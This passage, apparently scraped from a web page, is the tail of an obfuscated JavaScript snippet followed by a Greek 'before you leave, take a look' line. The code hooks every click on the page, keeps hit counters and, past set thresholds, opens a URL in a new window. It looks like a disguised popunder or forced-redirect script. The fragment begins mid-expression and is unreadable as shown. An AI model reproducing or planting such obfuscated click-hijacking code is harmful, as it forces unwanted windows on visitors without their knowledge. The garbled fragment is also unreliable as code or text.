_0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Πριν φύγετε ρίξτε μια ματιά